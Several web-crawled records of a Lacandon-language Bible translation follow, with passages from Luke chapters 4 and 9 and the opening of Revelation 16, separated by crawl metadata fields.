u jamach p'ʌtic u janʌn, Jesús caj wichʌjij. 3 Caj tar quisin caj ya'araj quisin ti' Jesús:\n―Wa jach taj u pararech C'uj waysej a je' tunicha' ca' wayac a woch waj, quir a jantic.\n4 Jesús caj u nuncaj:\n―Baxuc tu ts'iba'an cu ya'aric: \"Mʌ' chen a woch cu cuxquintiquech. A xibo' cu cuxtar wa cu ya'aric C'uj.\"\n5 Caj ts'oc ya'aric aro' caj pay ten quisin caj bin purbir ich jo'r yajaw wits tu ca'anan. Caj tus rʌc esa'b ti' ten quisin tu cotor u ru'umin tu cu reyinticob rey. Tabar caj ts'oc yesa'r ti' ten quisin. 6 A quisino' caj ya'araj:\n―Tu cotor a ba' ca wirique' a cu nequi'quintic u yor mac quire' caj u ts'aj ten C'uj, tu cotor wa jin c'at in ts'ic, c'ucha'an in wor in ts'ic. Bayiri' xan, tu cotor u muc' a caj a wiraje'. 7 Wa ca xontar tub yʌnen ca' a c'ujinten je' in rʌc ts'ic tech tu cotor a ba' caj a wiraj sam, soc tech yʌnin.\n8 Caj u nuncaj Jesús:\n―Joq'uen xen, Quisinech. Quire' u t'ʌn C'uj cu ya'aric: \"C'ujintej a Jaj Ts'urir C'uj. Chen raji' ca beyaj ti'.\"\n9 Caj pay Jesús ten quisin ich u cajar Jerusalén. Caj nac purbir Jesús tu jach ca'anan u jo'r carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj ara'b ti' ten quisin:\n―Wa jach jaj u pararech C'uj, pur a bʌj ca' rubuquech ich ru'um. 10 Baxuc cu ya'aric tu ts'iba'an u t'ʌn C'uj:\nTu toc araj ti' yʌjmasirob u t'ʌn C'uj ca' u qui' cʌnatech. 11 Baxuc cu ya'aric tu ts'iba'an u t'ʌn C'uj, tu cu ya'aric: \"Je' a ric'siquex yejer a c'ʌbex, cax mʌ' u ya' ch'ʌtic tunich soc mʌ' u yajtar u yoc ten tunich.\"\nBaxuc cu ya'aric u t'ʌn C'uj.\n12 Caj u nuncaj Jesús:\n―Baxuc tu ts'iba'an cu ya'aric xan: \"Mʌ' tsoy ic tumtic yor ic Jaj Ts'urir C'uj soc ij quirej wa taj a ba' caj u ya'araj.\"\n13 Caj ts'oc u yʌn rʌc tumta'r yor Jesús ten quisin. Jamach p'at Jesús ten quisin je' u ca'tar tumta'bir yor Jesús u jer u q'uinin.\nJesús caj u yʌnxchun u beyaj ich ru'umin Galilea\n(Mt. 4.12‑17; Mr. 1.14‑15)\n14 Jesús caj sutnʌj ich u ru'umin Galilea. Jach ts'urinta'b ten u Taj'or u Pixam C'uj Jesús. Caj rʌc man u jumintej ti' u rac'ob a ba' tsoyir caj u betaj Jesús. 15 Tu caj u camsaj Jesús ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. U rac'ob caj ara'b ti' Jesús ich u rac'ob caj ya'araj:\n―Jach tsoy Jesús quire' cu tsec'tic u t'ʌn C'uj.\nJesús ti' yʌn ich u cajar Nazaret\n(Mt. 13.53‑58; Mr. 6.1‑6)\n16 Caj urij Jesús ich u cajar Nazaret tub ch'ijij Jesús uch. An ten bic nanij u c'ujintic C'uj caj oquij ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Quire' ra' u q'uinin quir u jesicob u bʌj u winiquirob judío. Caj ric' u ch'ictar u xaquej u t'ʌn C'uj Jesús quir yubicob u rac'ob. 17 Caj ts'a'b ti' u ju'unin a ba' caj u ts'ibtaj Isaías uch. Caj ts'a'b ti' ten u ts'urir u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u choraj u ju'unin Jesús, mʌ' ja wirej, cats'a'an. Caj yiraj tu ts'iba'an ten Isaías a cu ya'aric, caj u xacaj Jesús:\n18 A teno', quij Isaías, tu ts'urinten u Taj'or u Pixam C'uj. Rajen caj u teten C'uj quir in bin in tsec'tic u jach tsoyir u t'ʌn C'uj ich a mac jach otsire'. Caj u tuchi'ten quir in wa'aric ti' a mac ts'urinta'b ten u si'pirob, caj u toc siptaj C'uj ti' u si'pirob. Caj aren in yamtic a mac cu manob tu c'asir soc u manob tu tsoyir, irej a mac ch'op u wich cu bin sasichʌjʌr u wich. Caj taren in chichquintic yorob a mac tupsa'an yorob ten u yajirob. 19 Caj taren in toc aric techex c'uchij tu q'uinin u tar ic Jaj Ts'urir quir u ta'quic tu cotor mac.\n20 Jesús caj ts'oc u xaquic caj u ca' cats'aj u ju'unin caj u ts'aj ti' u c'urew u jach ts'urir u chan najir. Caj cura Jesús. Tu cotor mac a ti' cura'anob tu cu naj c'ujinticob C'uj tan u qui' pʌta'rob Jesús quire' jac'a'an yorob. 21 Caj u yʌnxchun u tsicbar Jesús, caj ya'araj:\n―A caj in xacaj baje'rer toc nup'a'an a ba' ts'ibta'b.\n22 Tu cotor a mac ti' yʌn tu cu naj c'ujinticob C'uj u winiquirob judío caj ya'arob:\n―Jach tsoy Jesús.\nJac'a'an yorob quire' yubob jach tsoy u t'ʌn Jesús. Caj u c'axajob u tucurob rajen caj ya'arob:\n―A je'ra' u chen parar José.\nCaj u p'astob Jesús.\n23 Jesús caj ya'araj ti' a mac a ti' yʌn ich u chan najir tu cu naj c'ujinticob C'uj:\n―In wer techex ca' bin a wa'ariquenex: \"Wa ja c'at a yamtic u jer mac, a wʌc'ʌs bʌjiri' ca' a bat'an yamtej quire' yajech.\" Ra' u c'at ya'aric: \"Biquinin a teche', Jesús, mʌ' a betaj carem beyaj ta cajar Nazaret tu chi'jech an ten bic caj a betaj carem beyaj ich u cajar Capernaum?\"\n24 Ti' toy cu tsicbar Jesús caj ya'araj:\n―Jach taj quin waquex tech. Mʌ' ju yacsʌr yʌjtseq'uir u t'ʌn C'uj a cu tar ich cajarire'. 25 Taj quin bin in c'asej techex, soc a c'ʌ'otiquex ba' u ber uch yʌjtseq'uir u t'ʌn C'uj, quire' caj u betaj carem beyaj ti' a mʌ' u winiquirob judíojo'. C'aj wa techex tu q'uinin yʌjtseq'uir u t'ʌn C'uj Elías uch. Mʌ' ju tar ya'arir caj mʌn tres yaxq'uin yejer u jer chumuc yaxq'uin. Mʌ' ju tar ya'arir, caj u rʌc wichʌjob quire' mʌ' ju ch'ijir u pʌc'ar. 26 Chen a C'ujo' caj u tuchi'taj Elías tu ru'umin Sidón tu yʌn yatoch a xquic a quimen u mamo'. Sarepta u c'aba' u cajar. Caj bin jansbir Elías cax mʌ' u winiquir judío a xquico'. Biquinin mʌ' tu jansaj a ti' yʌn ich u winiquirob judío a xquic a quimen u mam quire' yʌn ya'ab? Quire' tuchi'ta'b Elías ich u jer cajar. 27 C'ajtechex wa Eliseo caj jawsa'b iq'uer u ca' ti' Naamán a cu tar tu ru'umin Siria. Biquinin mʌ' tu jawsaj u winiquirob judío cax yʌn ya'ab iq'uer u ca' ich u winiquirob judío? Quire' mʌ' ara'b ten C'uj u jawsej ich u winiquirob judío, rajen mʌ' ju jawsej.\n28 Caj yubob ya'aric Jesús a ti' rʌc much'a'anob tu cu naj c'ujinticob C'uj caj rʌc p'ujob. 29 Caj rʌc ric'ob joc'sa'bir Jesús caj bin purbir tu jo'r wits tu ch'ica'anin wits. Bʌytʌc yatochob tu cʌja'an ich u j'or wits. U c'at u nech'inta'r Jesús quir u quinsicob Jesús. 30 Chen Jesús caj man chumuc tu rʌc much'a'anob, chan ber caj man Jesús chumuc caj bin.\nTi' yʌn xib turiri' yʌn u c'ac'as quisinin\n(Mr. 1.21‑28)\n31 Jesús caj u p'ʌtaj u cajar Nazaret caj bin ich u cajar Capernaum tu ru'umin Galilea. Caj c'uchij tu q'uinin u jesicob u bʌj u winiquirob judío caj oc u camsej Jesús tu cu naj c'ujinticob C'uj u winiquirob judío. 32 Caj jac'ob u yorob barej caj u yubob a pimo' u camsa'rob ten Jesús, quire' raji' tsicbanʌjij an ten bic mac a yʌn u muc'.\n33 Ti' yʌn turiri' xib tu cu naj c'ujinticob C'uj u winiquirob judío. Raji' yʌn u c'ac'as quisinin, a cu yawato'. Caj u yʌwtaj Jesús, caj ya'araj:\n34 ―Ay, ba' a c'at ti' a tenob, Jesúsech, a cu tar ich u cajar Nazaret? Tara'anech quir a ch'esiquenob? In werob maquech, a techo', a mac a cu tar ich C'uj, a mac a caj u ric'saj u wʌc'ʌs bʌjiri' ti' C'uj.\n35 Jesús caj u q'ueyaj c'ac'as quisin:\n―Nup' a chi', ca' joc'aquech, ca' a p'ʌtej a je' xiba'.\nCaj pich'inta'b xib ten c'ac'as quisin caj rub ich ru'um ʌcʌtan u rac'ob. Mʌ' yaj caj joc' u quisinin. 36 Caj jac'ob yorob u rac'ob caj irir u joc'ar c'ac'as quisin. Caj tsicbanʌjob ich u rac'ob:\n―Ba' t'ʌnin a je' xiba' a mʌ' cax c'ac'as quisin cu quibir u t'ʌn ten c'ac'as quisin? Inan cu joc'arob.\n37 A ba' irir u betic Jesús caj u rʌc man u jumintej ich tu cotor u rac'ob ich u ru'umin Galilea.\nJesús caj u jawsaj yixquit Simón Pedro\n(Mt. 8.14‑15; Mr. 1.29‑31)\n38 Caj joc' Jesús tu cu naj c'ujinticob C'uj u winiquirob judío, caj oc ich yatoch Simón. Yaj yixquit Simón, jach ar u jo'r. Caj c'ata'b ti' Jesús quir u jawsic. 39 Caj oc Jesús tu chara'an yixquit Simón. Caj p'uxraj u t'ʌnej Jesús, caj u jawsa u yajir u jo'r. Caj jawij, seb caj riq'uij quir u jansa'r Jesús yejer a mac a ti' yʌnob tu yatoch.\nJesús caj u jawsaj u yajir ya'ab mac\n(Mt. 8.16‑17; Mr. 1.32‑34)\n40 A ray u q'uinino' tan u bin ic yum, caj tar purbir u yajir a mac cʌja'an tu cajar Capernaum cax a ba' yajir yʌn ti'ob Jesús caj u rʌc tʌraj caj rʌc jaw u yajir. 41 Bayiri' xan, yʌn mac aca'an ti' c'ac'as quisin. Caj joc'ob, caj q'ueya'b ten Jesús caj awʌtnʌjob caj joc'ob, caj ya'arajob:\n―A techo', u pararech C'uj.\nJesús caj u q'ueyaj ca' u nup'ob u chi' quire' a quisino' yer ti' u tar ich C'uj, rajij Cristo.\nJesús cu tsec'tic u t'ʌn C'uj ich u ru'umin tu cʌja'anob u winiquirob judío\n(Mr. 1.35‑39)\n42 Caj sasij caj joc' Jesús tar u wich u bin ich tacay ru'um. Chen a pimo' caj bin u cʌxtejob hasta caj u yirajob Jesús. Caj chich ara'b u p'atʌr Jesús ich u cajar Capernaum. 43 Jesús caj ya'araj ti'ob:\n―Yʌn in bin in tsec'tej u jach tsoyir u t'ʌn C'uj tu cu bin u reyintejob C'uj, ich u jer u cajarob. Rajen caj u tuchi'ten C'uj quir in tsec'tic u jach tsoyir u t'ʌn.\n44 Rajen ti' rajra' cu man Jesús u tsec'tej tu cu naj c'ujinticob C'uj u winiquirob judío ich u ru'umin tu cʌja'anob u winiquirob judío.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK04.htm","date":"2022-08-17T20:18:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00260.warc.gz","language":"lac","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000044107437134}","num_words":1696,"character_repetition_ratio":0.094,"word_repetition_ratio":0.006,"special_characters_ratio":0.295,"stopwords_ratio":0.518,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nJesús caj u tuchi'taj u camsʌwinicob quir u tsec'ticob u t'ʌn\n(Mt. 10.5‑15; Mr. 6.7‑13)\n1 Jesús caj u much'quintaj u camsʌwinicob caj u jʌsaj u muc' ti'ob quir u joc'sicob quisin, quir u jawsic u yajirir xan. 2 Jesús caj u tuchi'taj u camsʌwinicob quir u tsec'ticob tu cu bin u reyintejob C'uj quir u jawsic u yajirir. 3 Caj ya'araj Jesús:\n―Mʌ' ja ch'iquex ba' tu ca binex. Mʌ' ja ch'iquex a xonte'. Mʌ' ja ch'iquex chim. Mʌ' ja ch'iquex a woch. Mʌ' ja ch'iquex taq'uin. Chen turirir' a noc' a ch'iquex. 4 A mac a cu yʌn acsiquechex ti' ca yʌn p'atʌrexe' hasta a ca' binex. 5 Cax a ba' cajar mʌ' u yacsiquechex ca' bin xiquechex, toc pustex u noy ru'um ich u cajar soc yerob c'as caj u betajob quire' mʌ' tu c'ʌmajob u t'ʌn C'uj.\n6 Caj ruc'ob u camsʌwinicob Jesús caj binob ich tu cotor u cajarob caj u tsec'tajob u jach tsoyir u t'ʌn C'uj. Baxuc caj u jawsajob u yajir mac tu cu binob.\nQuim Juan a cu yacsic ja' tu jo'r mac\n(Mt. 14.1‑12; Mr. 6.14‑29)\n7 Caj yubaj gobernador Herodes tu cotor ba' cu betic Jesús yejer u camsʌwinicob quire' caj u cay tucric Herodes. Mʌ' ja wirej, yʌn mac caj u ya'arajo': \"Juan wʌc'ʌs ric' ich u quimrir. Rajen cu betic aro'.\"\n8 Caj u yuba ya'ara' Herodes ten mac: \"Raji' Elías urij, rajen tan u betic aro'.\" Chen u jer mac caj ya'araj: \"Wʌc'ʌs riq'uij turiri' yʌjtseq'uir u t'ʌn C'uj, rajen cu betic aro'.\" 9 Caj ya'araj Herodes:\n―Quire' caj in tuchi'taj ch'ʌcbir u car Juan, rajen aro' mʌ' Juan. A mac a quin wu'yic ya'are' cu betic aro'? In c'at in wirej ―quij.\nCaj u cʌxtaj bic tabar cu bin yiric.\nJesús caj u jansaj cinco mil xib\n(Mt. 14.13‑21; Mr. 6.30‑44; Jn. 6.1‑14)\n10 Caj urob u camsʌwinicob Jesús a tuchi'ta'b ca'ch caj u tsicbʌtajob ba' caj u betajob tu tu tsec'tajob u t'ʌn. Caj payob ten Jesús soc u binob tu junanob yejer Jesús. Caj payob u ber ten Jesús quir u binob ich u cajar Betsaida. 11 Caj yubaj a pimo' tan u bin Jesús caj binob tu pach Jesús, caj u cha'a u tarob a pimo' caj tsec'ta'b ti'ob tu cu bin u reyintejob C'uj. Caj u jawsaj a mac yʌn u yajire'.\n12 Tabar u bin q'uin, caj tarob a doce u camsʌwinicob Jesús. Caj ya'arob:\n―Arej u bin a pimo' quir u cʌxticob quir u wenʌnob, quir u cʌxticob yoch xan. Quire' a tera' mʌna' mac.\n13 Caj ara'b ten Jesús:\n―Bʌ' wir cu binob, techex ts'ajex yo'ochob soc mʌ' u binob.\nCaj ya'arob:\n―Mʌna' to'onex chen yʌn cinco ij coch pan yejer ca'tur cʌy. Arej ic bin ic mʌnej yoch quir ic jansicob.\n14 Jaj ixtʌco yʌn cinco mil xib. Jesús caj ya'araj ti' u camsʌwinicob:\n―Arej u rʌc cutarob jun much' curicob cincuenta soc u rʌc jujuntur cincuenta cu cutarob.\n15 Baxuc caj u rʌc betajob u camsʌwinicob caj rʌc curajob a pimo'. 16 Jesús caj u chucaj a cinco pan yejer dos cʌy caj u nacsaj u wich ca'anan. Caj u ya'araj ti' C'uj:\n―Bayo' C'uj.\nCaj ts'oc u t'ʌnic caj u xat'aj pan caj u ts'aj ti' u camsʌwinicob caj u jʌsejob ti' a pimo'. Baxuc yejer cʌy. 17 Rʌc janob qui' nachʌjob. Caj ts'oc u janʌnob caj u marob u xet'er yoch pan yejer cʌy. Caj chupij doce xac u xet'er yoch pan yejer cʌy.\nPedro caj u ya'araj ti' Jesús: Cristojech, caj u tuchi'tech C'uj\n(Mt. 16.13‑19; Mr. 8.27‑29)\n18 Quire' ti' yʌn tu junan tu cu t'ʌnic C'uj Jesús, quire' caj u p'ʌtaj a pimo'. Chen ti' yʌn yejer u camsʌwinicob. Jesús caj u c'ataj ti' u camsʌwinicob:\n―Bic u yaquenob a pimo'?\n19 Caj u nuncajob caj ya'araj:\n―Juanech, bin, a cu yacsic ja' tu jo'r mac. U jerob cu yaquech Elíasech, bin, chen u jerob u ca' aric yʌjtseq'uirech u t'ʌn C'uj uch, bin, ca' riq'uech, bin.\n20 Caj u c'ataj ti'ob:\n―A techexe' bic tabar a waquenex?\nPedro, caj u nuncaj, caj ya'araj:\n―Cristojech a caj u tuchi'tech C'uj.\nJesús caj u ya'araj: Bin in ca' quinsbir\n(Mt. 16.20‑28; Mr. 8.30―9.1)\n21 Caj u qui' ma'quintaj ti' u camsʌwinicob:\n―Mʌ' a yʌn bin a wa'arex ti' mʌna' mac wa Cristojen.\n22 Caj ara'b ti'ob ten Jesús:\n―A teno' baxuquenechexo' tu tuchi'ten C'uj, jach yaj quin bin muc'yajnʌquen. Cu bin u xunp'ʌtiquenob u jach ts'urirob u cajar u winiquirob judío yejer u jach ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Bin u quinsenob chen ca' bin tac mʌna' u nup u q'uinin C'uj cu bin u ric'siquen.\n23 Pachir caj ya'araj ti' tu cotor mac:\n―Wa mac u c'at u tar tin pach soc u cʌnic in t'ʌn. Arej u p'ʌtej a ba' cu pachtic tu yor tu cotor u nonobʌjiri' soc u betic a ba' u c'at C'uj. Rajra' yʌn u tar tin pach cax wa quimij ich cruz. 24 A mac a cu tucric ti' u nonobʌjiri' ti' toy cuxa'an cu bin u satar a ba' jach manan co'oj. Cu bin u satar u cuxtar munt q'uin. Chen a mac a u c'at u quimin ti' ten cu bin u c'ʌmic a ba' jach manan co'oj, cu bin u c'ʌmic u cuxtar munt q'uin. 25 Mʌ' u joc'ar tu tsoyir cax cu ts'urintic tu cotor ba' ich yoc'ocab wa cu satʌr u pixam. Quire' je' u bo'otic u bo'orir u si'pir. 26 Wa mac cu ch'ic suraquir ti' ten yejer a ba' quin tsec'tic, baxuc a ba' quin camsic. Baxuc ten, ca' bin in ch'a'aj suraquir ti' quire' a teno' baxuquenechexo'. Quin bin in ch'a'aj suraquir ti' ca' bin taquen ich u sasirir C'uj in Tet yejer u muc' u yʌjmasirob u t'ʌn C'uj. 27 Chen jach taj quin wac techex. Chʌc yʌn jun yarob mac a tera' mʌ' ju bin quimin hasta cu yiric bic C'uj cu bin u reyinticob.\nCaj waysa'b Jesús ʌcʌtan u camsʌwinicob\n(Mt. 17.1‑8; Mr. 9.2‑8)\n28 Caj man turi' semana caj ts'oc u camsic a ra' t'ʌno' ti' u camsʌwinicob. Jesús caj naquij ich jo'r wits quir u t'ʌnic C'uj. Yet binacob Pedro yejer Jacobo yejer Juan, quire' payob ten Jesús. 29 Jesús caj u t'ʌnaj C'uj caj waysa'b u wich caj way u noc' sʌc, jach sʌc t'ina'an. 30 Ray u q'uinin caj c'uchob ixba' Moisés yejer ixba' Elías. Caj c'uchob ich Jesús. 31 Caj u tsicbanʌjob yejer Jesús bic tabar u quimin Jesús soc u nupsic u t'ʌn C'uj ca' bin quimic ich u cajar Jerusalén. U sasirir C'uj bʌcrista'bob. 32 A Pedrojo' yejer u yet camsʌwinicob jach p'encʌch tar u wenʌnob caj ajob caj yirob u wayʌr Jesús. Baxuc ti' yʌnob ca'tur xib ich yicnʌn Jesús. 33 Quire' tan u binob nanach ixba' Moisés yejer ixba' Elías, Pedro caj ya'araj ti' Jesús:\n―In wʌjcamsʌyʌjirech ―quij―. Jach tsoy ti' yʌno'on tera'. Are ca' in c'ʌxejob pʌser. Turi' ti' tech. Turi' ti' ixba' Moisés. Turi' ti' ixba' Elías.\nCaj ya'araj aro' quire' mʌ' tu qui' tucraj a ba' caj u ya'araj. 34 Ti' toy u tsicbar Pedro caj tari turiri' u muyarir caj jaq'uij yorob u camsʌwinicob caj ts'oc u binob ixba' Moisés yejer ixba' Elías ich u muyarir. 35 Caj yubob u t'ʌn C'uj ich u muyarir. Caj yubob ya'ara' ti'ob:\n―A je'ra' in jach parar a mac in jach yaj. Ca' u'yex a ba' cu camsiquechex.\n36 Caj ts'oc u yubicob u t'ʌn tu ca' irob Jesús tu junan mʌna' mac ti' yʌn. A mʌna' u nup u camsʌwinicob a ba' caj u yirob tu cotor aro' tu mʌcob u chi' mʌ' tu ya'arajob ti' mac a ba' caj u yirob.\nJesús cu joc'sic u quisinin ti' chan xib\n(Mt. 17.14‑21; Mr. 9.14‑29)\n37 Caj sasij, caj ts'oc u yemanob ich u jo'r wits Jesús yejerob a mʌna' u nupo'. Caj tar a pimo' quir u nup'icob Jesús. 38 Ti' yʌn mac turi' ich a pimo' caj u puraj u t'ʌn ti' Jesús:\n―In wʌjcamsʌyʌjirech quin chich c'atic tech ca' a chan yamten ti' in parar quire' turi' ten. 39 Ca' bin chucuc ten quisin in chan parar. Cu sepquintic yawʌt, cu yʌn satʌr yor hasta cu yom u chi'. Ca' bin p'atʌc ten u quisinin in parar cu jach ts'abʌr u muc'yaj ten quisin hasta mʌna' yor.\n40 A xibo' caj u ya'araj:\n―Caj in chich araj ti'ob a camsʌwinicob ca' u joc'sejob u quisinin chen mʌ' c'ucha'an yorob u joc'sicob.\n41 Jesús caj u nuncaj ti':\n―A techexo' a mac cuxa'an u q'uinin baje'rer. Biquinin mʌ' a wacsmʌnex ta wor ti' C'uj? Biquinin jach chichex a jo'r? Ya'ab u q'uinin ti' yʌnen tera' mʌ' toy a wacsejex ta wor. A ber ca' bin a wacsex ta wor ten.\nJesús caj u t'ʌnaj a xibo':\n―Toc pʌyej a parar a te'ra'.\n42 Tabar u nats'ʌr ich Jesús a quisino' caj rubsaj ich ru'um. Caj satij yor ten quisin. Chen Jesús caj u q'ueyaj u quisinin. A baywo' caj joc' u quisinin. Caj ts'oc u joc'ar u quisin caj jawij, Jesús caj u sutaj ti' u tet. 43 Jach jaq'uij yorob a pimo' quire' caj yirajob carem u beyaj C'uj.\nJesús cu ca' aric bin in ca' quimin\n(Mt. 17.22‑23; Mr. 9.30‑32)\nTi' toy jac'a'an yorob a pimo' ti' u carem beyaj Jesús. 44 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Qui' uyex a je'ra' a ba' quin camsiquechex baje'rer. Mʌ' ju yʌn tubur techex. Quire' bin u ca'ob u c'ubirenob a teno' ti' a mac a cu p'actiquenob a teno' bayxuquenechexo'.\n45 U camsʌwinicob mʌ' ju najtajob a ba' ara'b ti'ob ten Jesús. Mʌ' ju najtajob quire' mʌ' toc ara'b ten Jesús ti'ob a ba' u c'at ya'aric. Quire' suracob quir u c'aticob a ba' ara'b ti'ob sam.\nA mac a jach no'je'\n(Mt. 18.1‑5; Mr. 9.33‑37)\n46 U camsʌwinicob quet u pacran acob soc yerob mac jach no'jo' ich u yet camsʌwinicob. 47 Jesús caj u najtaj a ba' cu tucricob tu yorob rajen caj u pʌyaj chichan quir u ch'iquintic yicnʌn. 48 Jesús caj u ya'araj ti' u camsʌwinicob:\n―Wa tsoy ca betiquex ti' a je' chichana' cax ti' u jer xan quire' ca yajquintiquen. Tsoy ca betiquex ten xan. Baxuc tsoy caj a betex ti' C'uj a mac caj u tuchi'tajen. A mac a cu tucric ich u wʌc'ʌs bʌjiri': \"Mʌ' no'jen a teno'\", raji'o' toc no'j ʌcʌtan tu wich C'uj.\nA mac a mʌ' u p'actic tech raji' a nup\n(Mr. 9.38‑40)\n49 Caj ya'araj Juan:\n―In wʌjcamsʌyʌjirech, tij quiraj turi' mac caj u joc'saj quisin ca'ch. Caj u t'ʌnaj a c'aba'. Tij caraj ti': \"Tsire'ej\" quire' mʌ' u sayʌr ta pach quir u cʌnic a t'ʌn. An ten bic to'on quic sayʌr ta pach.\n50 Caj ya'araj Jesús:\n―Tsire'ej, cax mʌ' ja wac ti' quire' a mac a mʌ' u p'actic to'on cu yamtico'on.\nJesús cu q'ueyic Juan yejer Jacobo\n51 Tabar u c'uchur tu q'uinin u ca' payʌr Jesús ten C'uj ca' xic ich ca'anan. Jesús u c'at u jach bin ich u cajar Jerusalén. Ts'ajan yor tar u bin. 52 Rajen caj u tuchi'taj mʌ' ya'abir mac soc pʌybejob cu binob. Robob caj binob caj c'uchob ich u cajar Samaria, caj u cʌxtajob mac quir u yacsa'rob wenʌnob. 53 Chen ich u cajar Samaria mʌ' u c'at yacsa'robi' quire' ti' cu binob ich u cajar Jerusalén, Jesús yejer u camsʌwinicob. 54 Caj wʌc'ʌs urob ich Jesús a tuchi'ta'bob. Quire' yubob mʌ' u yacsa'rob a Juano' yejer Jacobo quire' yubob mʌ' acsa'bobi' caj ya'arob ti' Jesús:\n―Arej to'on in wʌjcamsayʌjirechob ca' tac u c'aq'uir ca'anan ca' rʌc erac ara' cajaro' an bic caj u betaj Elías uch, a cu tsec'tic u t'ʌn C'uj uch.\n55 Jesús caj u sut u bʌj quir u pʌctic a ca'tur u camsʌwinicob. Caj u q'ueyaj caj u ya'araj ti'ob:\n―A techexo' mʌ' a werex mac ca ts'urintiquex. 56 A teno' baxuquenechexo' mʌ' taren in ch'esic u cajar mac, taren in ta'quic tu cotor mac quire' tu tuchi'ten C'uj.\nJeroj caj binob ich u jer cajar.\nA mac a ju c'at u tarob tu pach Jesús\n(Mt. 8.19‑22)\n57 Ti' toy cu binob ich u berir Jerusalén. Turi' mac caj u ya'araj ti' Jesús:\n―Arej in tar ta pach cax tu ca bin.\n58 Caj u nuncaj Jesús caj u ya'araj:\n―A boboch pec'o' yʌn u jor tu cu wenʌn baxuc a ch'ich'o' yʌn u c'ʌbir che' tu cu wenʌn. Chen a teno' mʌna' tu quin chatar in jesic in bʌj a teno', baxuquenechexo'.\n59 Jesús caj ya'araj ti' u jer mac:\n―Cojen tin pach ―quij―, quir a cʌnic in t'ʌn.\nChen caj ya'araj ti' a mac pay ten Jesús:\n―Arej in p'atʌr ich yicnʌn in tet hasta cu quimin in tet, je' in tar ta pache'.\n60 Jesús caj u nuncaj ti':\n―A mac a irej a quimeno', raji'ob cu bin u muquicob u quimirir. Chen tech xen tsec'tej u jach tsoyir u t'ʌn C'uj tu cu bin u reyintejob C'uj.\n61 Chen ti' yʌn u jer caj ara'b ti':\n―A teno' je' in tar ta pache'. Ar in bin in c'atej ti' in bʌjob wa tsoy in tar ta pach.\n62 Chen Jesús caj ya'araj ti':\n―A mac a u c'at u jach tar tin pach chen mʌ' u jach p'is u bʌj ca' tac tin pach. Wa cu chen tucric a ba' caj u p'ʌtaj je' u nacar yor ti' a ba' a cu tar ti'. Aro' mʌ' tsoy u beyaj tu cu bin u reyinticob C'uj.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK09.htm","date":"2022-08-15T07:39:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00265.warc.gz","language":"lac","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000033378601074}","num_words":2168,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.3,"stopwords_ratio":0.509,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nA siete chan ruch a beta'b u mascabir oro\n1 Tu quin wʌyʌc'tic ich ca'anan, caj in pʌctaj caj in wiraj a siete yʌjmasirob u t'ʌn C'ujo'. Jeroj, caj in wu'yaj mac c'am caj u puraj u t'ʌn ti' a siete yʌjmasirob u t'ʌn C'ujo'. Tar u tar u t'ʌn tu japnin tu cu naj c'ujinticob C'uj. Caj ara'b ten a mac a cu t'ʌn ti' a siete yʌjmasirob u t'ʌn C'ujo':\n―Xenex ―quij―, ca' a jochquintex ich yoc'or mac a ti' yʌn ich yoc'ocab, a siete chan ruch, a yʌn u yajirir a C'uj bin u ca' u tuchi'to' ―baxuc caj ya'araj a cu t'ʌno'.\n2 Ra' pʌyber u yʌjmasir u t'ʌn C'uj caj joq'uij ich ca'anan caj bin u jochquint u chan ruchir, caj u yʌnxchun u yajirir a mac a yʌn u ts'ib a bʌc'o', a jach caremo' tu pam. Bayiri' ti', a mac a tu sʌjtob u yochir a bʌc'o', a jach manan caremo'. Rajen a mac a ti' yʌn ich yoc'ocab caj u cʌnob a iq'uer u ca'ob, a neyʌn u pujero'.\n3 A ca'tur u yʌjmasir u t'ʌn C'uj caj joq'uij, caj bin ich yoc'ocab quir u jochquint u chan ruchir. Raji' caj u jochquint ich c'ac'nab, rajen caj waysa'b ti' irej q'uiq'uer, ra' irej u q'uiq'uer a mac quimen quire' jach ec' u wich. Rajen a ba' ti' yʌn ich c'ac'nab rʌc quimij, quij.\n4 A mʌna' u nup yʌjmasir u t'ʌn C'ujo', caj joq'uij caj bin ich yoc'ocab quir u jochquint u chan ruchir xan. Raji' caj u jochquin tu cu yʌnxchun u yic' ja', bayiri' xan, tu cu yʌnxchun yoc ya'arir a chan sʌyabo' caj rʌc waysa'b ti' irej q'uiq'uer.\n5 Jeroj, caj in wu'y u t'ʌn yʌjmasir u t'ʌn C'uj, a mac a cu cʌnantic a ja'o'. Raji' caj u ya'araj:\n―Jach taj a wor a techo', C'uj ―quij ya'araj ti'―, quire' u yajirir caj a tuchi'taj, quire' munt q'uin ti' yʌnech, u beri' ti' yʌnech. Mʌ' ja wirej, a techo', caj a cha'b u wayʌr a ja'o', soc u wayʌr irej q'uiq'uer.\n6 Mʌ' ja wirej, a mac a ti' yʌnob ich yoc'ocab, robob caj u quinsob a winiquirob C'uj, bayiri' xan, a mac a ts'a'b u tucur ten tech C'uj quir u tsicbar a ba' a c'at C'uj. Rajen tech C'uj caj a ts'aja ti' irejob u yo'och ja' a waysa'b ti' q'uiq'uer quire' ra' u bo'orir tu tu quinsob a winiquirob C'uj ich u cajarob ―baxuc caj ya'araj yʌjmasir u t'ʌn C'uj a cu cʌnantic a ja'o'.\n7 A teno', quij Juan, caj in wʌc'ʌs u'y u jer u t'ʌn a cu tar tu cuchir tu cu naj to'quic ba' quir u 